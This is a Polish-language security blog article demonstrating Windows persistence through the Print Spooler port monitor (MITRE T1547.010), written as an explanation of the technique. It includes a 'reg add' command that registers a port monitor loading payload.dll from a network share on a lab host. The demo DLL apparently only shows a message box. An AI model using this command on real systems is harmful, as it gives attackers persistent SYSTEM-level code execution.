Menu dostępności

Uruchomienie złośliwego oprogramowania z wykorzystaniem monitora portów drukarek

W dzisiejszym artykule opiszemy jedną z ciekawych technik trwałego ukrywania się cyberprzestępców w systemie Windows, umożliwiającą uruchomienie złośliwego oprogramowania. Została ona opisana w Mitre T1547.010 i na potrzeby artykułu postanowiliśmy ją zademonstrować. Jest ona ciekawa, ponieważ możliwa jest do wykonania nawet na najnowszych wersjach Windows.


Co to jest Port Monitor?

Opisywana technika wykorzystuje możliwość Print Spoolera, czyli serwisu na Windows odpowiadającego za funkcje bufora wydruku (drukowania), w której można do systemu dodawać tak zwane monitory portów (Port Monitor). Cyberprzestępca, jeśli zdobędzie odpowiednie uprawnienia zapisu do gałęzi rejestru (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors) lub lokalnego administratora na Windows będzie miał możliwość dodania w nim monitor portu drukarki oraz dodania dowolnej biblioteki DLL, która będzie działać jako „monitor”.

Istnieją zasadniczo dwa sposoby dodania monitora portu, zwanego również złośliwą biblioteką dll:

  • za pośrednictwem rejestru systemowego w celu zapewnienia na sztywno przyczółku w systemie. Potrzebny będzie restart komputera.
  • za pośrednictwem niestandardowej aplikacji systemu Windows (funkcja AddMonitor) do natychmiastowego wykonania biblioteki dll.

Ponieważ usługa Print Spooler działa na najwyższych uprawnieniach systemowych „ZARZĄDZANIE NT/SYSTEM”, to tak skonfigurowana biblioteka DLL uruchomi się także w kontekście tych uprawnień. Stwarza to cyberprzestępcom nieograniczone możliwości w systemie Windows.


Przykład złośliwej biblioteki

Poniżej zamieszczamy kod biblioteki (payload.dll) napisanej w C++, której wynikiem działania jest uruchomienie na pulpicie Windows okna z wiadomością.


Jak stworzyć przyczółek w Windows z wykorzystaniem Port Monitor?

Dokumentacja Microsoft MSDN określa, że biblioteka DLL musi znaleźć się we wpisie Drivers i wszelkie pliki towarzyszące muszą znajdować się w katalogu „C:\Windows\System32\”. Okazuje się, że niekoniecznie tak musi być z lokalizacją biblioteki. Możemy ją załadować z udziału sieciowego tak, jak zostało to opisane i pokazane tutaj.

W celu dodanie wymaganego klucza do rejestru możemy użyć poniżej komendy: reg add „HKLM\System\CurrentControlSet\Control\Print\Monitors\KapitanHack” /v „Driver” /d „\\172.16.215.100\kapitan\payload.dll” /t REG_SZ”

W wyniku której zostanie dodany nasz port monitor KapitanHack z payload (plik payload.dll) pochodzącym z udostępnionego dla wszystkich (tryb zapis i odczyt) udziału o nazwie „kapitan” na serwerze 172.16.215.100.

Po ponownym uruchomieniu komputera możemy zobaczyć wynik w postaci uruchomienia biblioteki (pliku payload.dll), a konkretniej w naszym przypadku wywołania w niej funkcji uruchamiającej okno komunikatu na Windows.

Nasz plik payload.dll możemy załadować do Port Monitor z wykorzystaniem wcześniej wspomnianej funkcji w C++ AddMonitor().

Kompilując powyższy kod i uruchamiając go, system Windows uruchomi go automatycznie i na ekranie powinno pojawić się okno z naszym komunikatem. Uwaga! Program musimy uruchomić na użytkowniku posiadającym lokalne uprawnienia administracyjne lub przynajmniej uprawnienie SeLoadDriverPrivilege.

Popularne

Nowa luka w Microsoft Teams – lepiej nie być zapraszanym…

Nowa luka w Microsoft Teams – lepiej nie być zapraszanym…

Usługa Microsoft Teams stała się kluczowym narzędziem do komunikacji i współpracy w firmach na całym świecie. Z tego powodu wiele organizacji polega na zabezpieczeniach takich jak Microsoft Defender for Off...
Ważna zmiana w OWASP Top 10

Ważna zmiana w OWASP Top 10

OWASP, czyli Open Worldwide Application Security Project, zaproponowało nowe wydanie swojej klasycznej listy Top 10 ryzyk aplikacyjnych. Wersja z 2025 roku wprowadza kluczowe rozszerzenia dotyczące b...
Jak modele LLM automatyzują cyberprzestępczość

Jak modele LLM automatyzują cyberprzestępczość

Każdy Czytelnik Kapitana Hacka wie, że złośliwe LLM-y ułatwiają mniej doświadczonym cyberprzestępcom przeprowadzanie ataków. Potwierdzają to badacze z Palo Alto Networks, którzy przeanalizowali dwa niedaw...
Jak błąd w 7-Zip (CVE-2025-11001) daje hakerom dostęp do systemu Windows. Jest exploit

Jak błąd w 7-Zip (CVE-2025-11001) daje hakerom dostęp do systemu Windows. Jest exploit

Odkryto niezwykle niebezpieczną dla użytkowników systemów Windows podatność. Błąd o numerze CVE‑2025‑11001 jest już częściowo wykorzystywany, a dotyczy popularnego programu 7-Zip. Polega na niewłaściwe...
Wizualizacja ścieżek ataku na Active Directory za pomocą narzędzia BloodHound

Wizualizacja ścieżek ataku na Active Directory za pomocą narzędzia BloodHound

Krótko o narzędziu Bloodhound to narzędzie służące do wizualizacji i analizy powiązań w Active Directory. Dla atakującego jest niezastąpioną pomocą do znajdowania ścieżki ataku na najbardziej c...